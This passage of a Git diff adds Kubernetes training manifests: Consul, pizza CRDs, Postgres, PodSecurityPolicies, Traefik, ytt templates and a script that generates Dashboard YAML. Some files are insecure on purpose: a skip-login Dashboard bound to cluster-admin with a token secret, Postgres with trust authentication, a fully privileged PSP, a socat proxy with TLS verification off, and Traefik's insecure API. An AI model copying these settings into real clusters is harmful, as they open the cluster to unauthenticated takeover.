+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: persistentconsul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: persistentconsul
+subjects:
+  - kind: ServiceAccount
+    name: persistentconsul
+    namespace: default
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: persistentconsul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: persistentconsul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: persistentconsul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: persistentconsul
+spec:
+  serviceName: persistentconsul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: persistentconsul
+  volumeClaimTemplates:
+    - metadata:
+        name: data
+      spec:
+        accessModes:
+          - ReadWriteOnce
+        resources:
+          requests:
+            storage: 1Gi
+  template:
+    metadata:
+      labels:
+        app: persistentconsul
+    spec:
+      serviceAccountName: persistentconsul
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            - labelSelector:
+                matchExpressions:
+                  - key: app
+                    operator: In
+                    values:
+                      - persistentconsul
+              topologyKey: kubernetes.io/hostname
+      terminationGracePeriodSeconds: 10
+      containers:
+        - name: consul
+          image: "consul:1.6"
+          volumeMounts:
+            - name: data
+              mountPath: /consul/data
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=persistentconsul\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"
+          lifecycle:
+            preStop:
+              exec:
+                command:
+                - /bin/sh
+                - -c
+                - consul leave

k8s/pizza-1.yaml

@@ -0,0 +1,14 @@
+apiVersion: apiextensions.k8s.io/v1beta1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  version: v1alpha1
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz

k8s/pizza-2.yaml

@@ -0,0 +1,20 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object

k8s/pizza-3.yaml

@@ -0,0 +1,32 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        required: [ spec ]
+        properties:
+          spec:
+            type: object
+            required: [ sauce, toppings ]
+            properties:
+              sauce:
+                type: string
+              toppings:
+                type: array
+                items:
+                  type: string

k8s/pizza-4.yaml

@@ -0,0 +1,39 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        required: [ spec ]
+        properties:
+          spec:
+            type: object
+            required: [ sauce, toppings ]
+            properties:
+              sauce:
+                type: string
+              toppings:
+                type: array
+                items:
+                  type: string
+    additionalPrinterColumns:
+    - jsonPath: .spec.sauce
+      name: Sauce
+      type: string
+    - jsonPath: .spec.toppings
+      name: Toppings
+      type: string

k8s/pizza-5.yaml

@@ -0,0 +1,40 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: pizzas.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: pizzas
+    singular: pizza
+    kind: Pizza
+    shortNames:
+    - piz
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        required: [ spec ]
+        properties:
+          spec:
+            type: object
+            required: [ sauce, toppings ]
+            properties:
+              sauce:
+                type: string
+                enum: [ red, white ]
+              toppings:
+                type: array
+                items:
+                  type: string
+    additionalPrinterColumns:
+    - jsonPath: .spec.sauce
+      name: Sauce
+      type: string
+    - jsonPath: .spec.toppings
+      name: Toppings
+      type: string

k8s/pizzas.yaml

@@ -0,0 +1,45 @@
+---
+apiVersion: container.training/v1alpha1
+kind: Pizza
+metadata:
+  name: margherita
+spec:
+  sauce: red
+  toppings:
+    - mozarella
+    - basil
+---
+apiVersion: container.training/v1alpha1
+kind: Pizza
+metadata:
+  name: quatrostagioni
+spec:
+  sauce: red
+  toppings:
+    - artichoke
+    - basil
+    - mushrooms
+    - prosciutto
+---
+apiVersion: container.training/v1alpha1
+kind: Pizza
+metadata:
+  name: mehl31
+spec:
+  sauce: white
+  toppings:
+    - goatcheese
+    - pear
+    - walnuts
+    - mozzarella
+    - rosemary
+    - honey
+---
+apiVersion: container.training/v1alpha1
+kind: Pizza
+metadata:
+  name: brownie
+spec:
+  sauce: chocolate
+  toppings:
+    - nuts

k8s/pod-disruption-budget.yaml

@@ -0,0 +1,12 @@
+apiVersion: policy/v1
+kind: PodDisruptionBudget
+metadata:
+  name: my-pdb
+spec:
+  #minAvailable: 2
+  #minAvailable: 90%
+  maxUnavailable: 1
+  #maxUnavailable: 10%
+  selector:
+    matchLabels:
+      app: my-app

k8s/postgres.yaml

@@ -0,0 +1,39 @@
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: postgres
+spec:
+  selector:
+    matchLabels:
+      app: postgres
+  serviceName: postgres
+  template:
+    metadata:
+      labels:
+        app: postgres
+    spec:
+      #schedulerName: stork
+      initContainers:
+      - name: rmdir
+        image: alpine
+        volumeMounts:
+        - mountPath: /vol
+          name: postgres
+        command: ["sh", "-c", "if [ -d /vol/lost+found ]; then rmdir /vol/lost+found; fi"]
+      containers:
+      - name: postgres
+        image: postgres:12
+        env:
+        - name: POSTGRES_HOST_AUTH_METHOD
+          value: trust
+        volumeMounts:
+        - mountPath: /var/lib/postgresql/data
+          name: postgres
+  volumeClaimTemplates:
+  - metadata:
+      name: postgres
+    spec:
+      accessModes: ["ReadWriteOnce"]
+      resources:
+        requests:
+          storage: 1Gi

k8s/psp-privileged.yaml

@@ -0,0 +1,38 @@
+---
+apiVersion: policy/v1beta1
+kind: PodSecurityPolicy
+metadata:
+  name: privileged
+  annotations:
+    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
+spec:
+  privileged: true
+  allowPrivilegeEscalation: true
+  allowedCapabilities:
+  - '*'
+  volumes:
+  - '*'
+  hostNetwork: true
+  hostPorts:
+  - min: 0
+    max: 65535
+  hostIPC: true
+  hostPID: true
+  runAsUser:
+    rule: 'RunAsAny'
+  seLinux:
+    rule: 'RunAsAny'
+  supplementalGroups:
+    rule: 'RunAsAny'
+  fsGroup:
+    rule: 'RunAsAny'
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: psp:privileged
+rules:
+- apiGroups:     ['policy']
+  resources:     ['podsecuritypolicies']
+  verbs:         ['use']
+  resourceNames: ['privileged']

k8s/psp-restricted.yaml

@@ -0,0 +1,37 @@
+---
+apiVersion: policy/v1beta1
+kind: PodSecurityPolicy
+metadata:
+  annotations:
+    apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
+    apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
+    seccomp.security.alpha.kubernetes.io/allowedProfileNames: runtime/default
+    seccomp.security.alpha.kubernetes.io/defaultProfileName: runtime/default
+  name: restricted
+spec:
+  allowPrivilegeEscalation: false
+  fsGroup:
+    rule: RunAsAny
+  runAsUser:
+    rule: RunAsAny
+  seLinux:
+    rule: RunAsAny
+  supplementalGroups:
+    rule: RunAsAny
+  volumes:
+  - configMap
+  - emptyDir
+  - projected
+  - secret
+  - downwardAPI
+  - persistentVolumeClaim
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: psp:restricted
+rules:
+- apiGroups:     ['policy']
+  resources:     ['podsecuritypolicies']
+  verbs:         ['use']
+  resourceNames: ['restricted']

k8s/pv.yaml

@@ -0,0 +1,20 @@
+kind: PersistentVolume
+apiVersion: v1
+metadata:
+  generateName: my-pv-
+  labels:
+    container.training/pv: ""
+spec:
+  accessModes:
+  - ReadWriteOnce
+  - ReadWriteMany
+  capacity:
+    storage: 1G
+  hostPath:
+    path: /tmp/my-pv
+  #storageClassName: my-sc
+  #claimRef:
+  #  kind: PersistentVolumeClaim
+  #  apiVersion: v1
+  #  namespace: default
+  #  name: my-pvc-XYZ45

k8s/pvc.yaml

@@ -0,0 +1,13 @@
+kind: PersistentVolumeClaim
+apiVersion: v1
+metadata:
+  generateName: my-pvc-
+  labels:
+    container.training/pvc: ""
+spec:
+  accessModes:
+  - ReadWriteOnce
+  resources:
+    requests:
+      storage: 1G
+  #storageClassName: my-sc

k8s/rainbow.yaml

@@ -0,0 +1,147 @@
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: blue
+  labels:
+    app: rainbow
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rainbow
+    color: blue
+  name: color
+  namespace: blue
+spec:
+  selector:
+    matchLabels:
+      app: rainbow
+      color: blue
+  template:
+    metadata:
+      labels:
+        app: rainbow
+        color: blue
+    spec:
+      containers:
+      - image: jpetazzo/color
+        name: color
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rainbow
+    color: blue
+  name: color
+  namespace: blue
+spec:
+  ports:
+  - name: http
+    port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rainbow
+    color: blue
+  type: ClusterIP
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: green
+  labels:
+    app: rainbow
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rainbow
+    color: green
+  name: color
+  namespace: green
+spec:
+  selector:
+    matchLabels:
+      app: rainbow
+      color: green
+  template:
+    metadata:
+      labels:
+        app: rainbow
+        color: green
+    spec:
+      containers:
+      - image: jpetazzo/color
+        name: color
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rainbow
+    color: green
+  name: color
+  namespace: green
+spec:
+  ports:
+  - name: http
+    port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rainbow
+    color: green
+  type: ClusterIP
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: red
+  labels:
+    app: rainbow
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rainbow
+    color: red
+  name: color
+  namespace: red
+spec:
+  selector:
+    matchLabels:
+      app: rainbow
+      color: red
+  template:
+    metadata:
+      labels:
+        app: rainbow
+        color: red
+    spec:
+      containers:
+      - image: jpetazzo/color
+        name: color
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rainbow
+    color: red
+  name: color
+  namespace: red
+spec:
+  ports:
+  - name: http
+    port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rainbow
+    color: red
+  type: ClusterIP

k8s/registry.yaml

@@ -0,0 +1,14 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: registry
+spec:
+  containers:
+  - name: registry
+    image: registry
+    env:
+    - name: REGISTRY_HTTP_ADDR
+      valueFrom:
+        configMapKeyRef:
+          name: registry
+          key: http.addr

k8s/socat.yaml

@@ -0,0 +1,41 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: socat
+  name: socat
+  namespace: kube-system
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: socat
+  template:
+    metadata:
+      labels:
+        app: socat
+    spec:
+      containers:
+      - args:
+        - sh
+        - -c
+        - apk add --no-cache socat && socat TCP-LISTEN:80,fork,reuseaddr OPENSSL:kubernetes-dashboard:443,verify=0
+        image: alpine
+        imagePullPolicy: Always
+        name: socat
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: socat
+  name: socat
+  namespace: kube-system
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: socat
+  type: NodePort

k8s/storage-class.yaml

@@ -0,0 +1,10 @@
+kind: StorageClass
+apiVersion: storage.k8s.io/v1beta1
+metadata:
+  name: portworx-replicated
+  annotations:
+    storageclass.kubernetes.io/is-default-class: "true"
+provisioner: kubernetes.io/portworx-volume
+parameters:
+ repl: "2"
+ priority_io: "high"

k8s/tilt-registry.yaml

@@ -0,0 +1,42 @@
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: tilt-registry
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: tilt-registry
+  name: tilt-registry
+  namespace: tilt-registry
+spec:
+  selector:
+    matchLabels:
+      app: tilt-registry
+  template:
+    metadata:
+      labels:
+        app: tilt-registry
+    spec:
+      containers:
+      - image: registry
+        name: registry
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: tilt-registry
+  name: tilt-registry
+  namespace: tilt-registry
+spec:
+  ports:
+  - port: 5000
+    protocol: TCP
+    targetPort: 5000
+    nodePort: 30555
+  selector:
+    app: tilt-registry
+  type: NodePort

k8s/traefik-v1.yaml

@@ -0,0 +1,87 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: DaemonSet
+apiVersion: apps/v1
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+  labels:
+    k8s-app: traefik-ingress-lb
+spec:
+  selector:
+    matchLabels:
+      k8s-app: traefik-ingress-lb
+  template:
+    metadata:
+      labels:
+        k8s-app: traefik-ingress-lb
+        name: traefik-ingress-lb
+    spec:
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      hostNetwork: true
+      serviceAccountName: traefik-ingress-controller
+      terminationGracePeriodSeconds: 60
+      containers:
+      - image: traefik:1.7
+        name: traefik-ingress-lb
+        ports:
+        - name: http
+          containerPort: 80
+          hostPort: 80
+        - name: admin
+          containerPort: 8080
+          hostPort: 8080
+        securityContext:
+          capabilities:
+            drop:
+            - ALL
+            add:
+            - NET_BIND_SERVICE
+        args:
+        - --api
+        - --kubernetes
+        - --logLevel=INFO
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+rules:
+  - apiGroups:
+      - ""
+    resources:
+      - services
+      - endpoints
+      - secrets
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - extensions
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: traefik-ingress-controller
+subjects:
+- kind: ServiceAccount
+  name: traefik-ingress-controller
+  namespace: kube-system

k8s/traefik-v2.yaml

@@ -0,0 +1,114 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: DaemonSet
+apiVersion: apps/v1
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+  labels:
+    k8s-app: traefik-ingress-lb
+spec:
+  selector:
+    matchLabels:
+      k8s-app: traefik-ingress-lb
+  template:
+    metadata:
+      labels:
+        k8s-app: traefik-ingress-lb
+        name: traefik-ingress-lb
+    spec:
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      hostNetwork: true
+      serviceAccountName: traefik-ingress-controller
+      terminationGracePeriodSeconds: 60
+      containers:
+      - image: traefik:v2.5
+        name: traefik-ingress-lb
+        ports:
+        - name: http
+          containerPort: 80
+          hostPort: 80
+        - name: https
+          containerPort: 443
+          hostPort: 443
+        - name: admin
+          containerPort: 8080
+          hostPort: 8080
+        securityContext:
+          capabilities:
+            drop:
+            - ALL
+            add:
+            - NET_BIND_SERVICE
+        args:
+        - --accesslog
+        - --api
+        - --api.insecure
+        - --log.level=INFO
+        - --metrics.prometheus
+        - --providers.kubernetesingress
+        - --entrypoints.http.Address=:80
+        - --entrypoints.https.Address=:443
+        - --entrypoints.https.http.tls.certResolver=default
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+rules:
+  - apiGroups:
+      - ""
+    resources:
+      - services
+      - endpoints
+      - secrets
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - extensions
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses
+      - ingressclasses
+    verbs:
+      - get
+      - list
+      - watch
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: traefik-ingress-controller
+subjects:
+- kind: ServiceAccount
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: IngressClass
+apiVersion: networking.k8s.io/v1
+metadata:
+  name: traefik
+  annotations:
+    ingressclass.kubernetes.io/is-default-class: "true"
+spec:
+  controller: traefik.io/ingress-controller

k8s/traefik.yaml

@@ -0,0 +1,114 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: DaemonSet
+apiVersion: apps/v1
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+  labels:
+    k8s-app: traefik-ingress-lb
+spec:
+  selector:
+    matchLabels:
+      k8s-app: traefik-ingress-lb
+  template:
+    metadata:
+      labels:
+        k8s-app: traefik-ingress-lb
+        name: traefik-ingress-lb
+    spec:
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      hostNetwork: true
+      serviceAccountName: traefik-ingress-controller
+      terminationGracePeriodSeconds: 60
+      containers:
+      - image: traefik:v2.5
+        name: traefik-ingress-lb
+        ports:
+        - name: http
+          containerPort: 80
+          hostPort: 80
+        - name: https
+          containerPort: 443
+          hostPort: 443
+        - name: admin
+          containerPort: 8080
+          hostPort: 8080
+        securityContext:
+          capabilities:
+            drop:
+            - ALL
+            add:
+            - NET_BIND_SERVICE
+        args:
+        - --accesslog
+        - --api
+        - --api.insecure
+        - --log.level=INFO
+        - --metrics.prometheus
+        - --providers.kubernetesingress
+        - --entrypoints.http.Address=:80
+        - --entrypoints.https.Address=:443
+        - --entrypoints.https.http.tls.certResolver=default
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+rules:
+  - apiGroups:
+      - ""
+    resources:
+      - services
+      - endpoints
+      - secrets
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - extensions
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses
+      - ingressclasses
+    verbs:
+      - get
+      - list
+      - watch
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: traefik-ingress-controller
+subjects:
+- kind: ServiceAccount
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: IngressClass
+apiVersion: networking.k8s.io/v1
+metadata:
+  name: traefik
+  annotations:
+    ingressclass.kubernetes.io/is-default-class: "true"
+spec:
+  controller: traefik.io/ingress-controller

k8s/update-dashboard-yaml.sh

@@ -0,0 +1,84 @@
+#!/bin/sh
+
+banner() {
+  echo "# This file was generated with the script $0."
+  echo "#"
+}
+
+create_namespace() {
+  # 'helm template --namespace ... --create-namespace'
+  # doesn't create the namespace, so we need to create it.
+  # https://github.com/helm/helm/issues/9813
+  echo ---
+  kubectl create namespace kubernetes-dashboard \
+          -o yaml --dry-run=client
+  echo ---
+}
+
+add_namespace() {
+  # 'helm template --namespace ...' doesn't add namespace information,
+  # so we do it with this convenient filter instead.
+  # https://github.com/helm/helm/issues/10737
+  kubectl create -f- -o yaml --dry-run=client --namespace kubernetes-dashboard
+}
+
+(
+  banner
+  create_namespace
+  helm template kubernetes-dashboard kubernetes-dashboard \
+       --repo https://kubernetes.github.io/dashboard/ \
+       --create-namespace --namespace kubernetes-dashboard \
+       --set "extraArgs={--enable-skip-login,--enable-insecure-login}" \
+       --set metricsScraper.enabled=true \
+       --set protocolHttp=true \
+       --set service.type=NodePort \
+       | add_namespace
+  echo ---
+  kubectl create clusterrolebinding kubernetes-dashboard:insecure \
+          --clusterrole=cluster-admin \
+          --serviceaccount=kubernetes-dashboard:kubernetes-dashboard \
+          -o yaml --dry-run=client \
+          #
+) > dashboard-insecure.yaml
+
+(
+  banner
+  create_namespace
+  helm template kubernetes-dashboard kubernetes-dashboard \
+       --repo https://kubernetes.github.io/dashboard/ \
+       --create-namespace --namespace kubernetes-dashboard \
+       --set metricsScraper.enabled=true \
+       | add_namespace
+) > dashboard-recommended.yaml
+
+(
+  banner
+  create_namespace
+  helm template kubernetes-dashboard kubernetes-dashboard \
+       --repo https://kubernetes.github.io/dashboard/ \
+       --create-namespace --namespace kubernetes-dashboard \
+       --set metricsScraper.enabled=true \
+       --set service.type=NodePort \
+       | add_namespace
+  echo ---
+  kubectl create clusterrolebinding kubernetes-dashboard:cluster-admin \
+          --clusterrole=cluster-admin \
+          --serviceaccount=kubernetes-dashboard:cluster-admin \
+          -o yaml --dry-run=client \
+          #
+  echo ---
+  kubectl create serviceaccount -n kubernetes-dashboard cluster-admin \
+          -o yaml --dry-run=client \
+          #
+  echo ---
+  cat <<EOF
+apiVersion: v1
+kind: Secret
+type: kubernetes.io/service-account-token
+metadata:
+  name: cluster-admin-token
+  namespace: kubernetes-dashboard
+  annotations:
+    kubernetes.io/service-account.name: cluster-admin
+EOF
+) > dashboard-with-token.yaml

k8s/user=jean.doe.yaml

@@ -0,0 +1,32 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: jean.doe
+  namespace: users
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: user=jean.doe
+rules:
+- apiGroups: [ certificates.k8s.io ]
+  resources: [ certificatesigningrequests ]
+  verbs:     [ create ]
+- apiGroups:     [ certificates.k8s.io ]
+  resourceNames: [ user=jean.doe ]
+  resources:     [ certificatesigningrequests ]
+  verbs:         [ get, create, delete, watch ]
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: user=jean.doe
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: user=jean.doe
+subjects:
+- kind: ServiceAccount
+  name: jean.doe
+  namespace: users

k8s/volumes-for-consul.yaml

@@ -0,0 +1,63 @@
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: consul-node2
+spec:
+  capacity:
+    storage: 10Gi
+  accessModes:
+  - ReadWriteOnce
+  persistentVolumeReclaimPolicy: Delete
+  local:
+    path: /mnt/consul
+  nodeAffinity:
+    required:
+      nodeSelectorTerms:
+      - matchExpressions:
+        - key: kubernetes.io/hostname
+          operator: In
+          values:
+          - node2
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: consul-node3
+spec:
+  capacity:
+    storage: 10Gi
+  accessModes:
+  - ReadWriteOnce
+  persistentVolumeReclaimPolicy: Delete
+  local:
+    path: /mnt/consul
+  nodeAffinity:
+    required:
+      nodeSelectorTerms:
+      - matchExpressions:
+        - key: kubernetes.io/hostname
+          operator: In
+          values:
+          - node3
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: consul-node4
+spec:
+  capacity:
+    storage: 10Gi
+  accessModes:
+  - ReadWriteOnce
+  persistentVolumeReclaimPolicy: Delete
+  local:
+    path: /mnt/consul
+  nodeAffinity:
+    required:
+      nodeSelectorTerms:
+      - matchExpressions:
+        - key: kubernetes.io/hostname
+          operator: In
+          values:
+          - node4

k8s/ytt/1-variables/app.yaml

@@ -0,0 +1,164 @@
+#! Define and use variables.
+---
+#@ repository = "dockercoins"
+#@ tag = "v0.1"
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: #@ "{}/hasher:{}".format(repository, tag)
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: #@ "{}/rng:{}".format(repository, tag)
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: #@ "{}/webui:{}".format(repository, tag)
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: worker
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: #@ "{}/worker:{}".format(repository, tag)
+        name: worker

k8s/ytt/2-functions/app.yaml

@@ -0,0 +1,167 @@
+#! Define and use a function to set the deployment image.
+---
+#@ repository = "dockercoins"
+#@ tag = "v0.1"
+#@ def image(component):
+#@   return "{}/{}:{}".format(repository, component, tag)
+#@ end
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: #@ image("hasher")
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: #@ image("rng")
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: #@ image("webui")
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: worker
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: #@ image("worker")
+        name: worker

k8s/ytt/3-labels/app.yaml

@@ -0,0 +1,164 @@
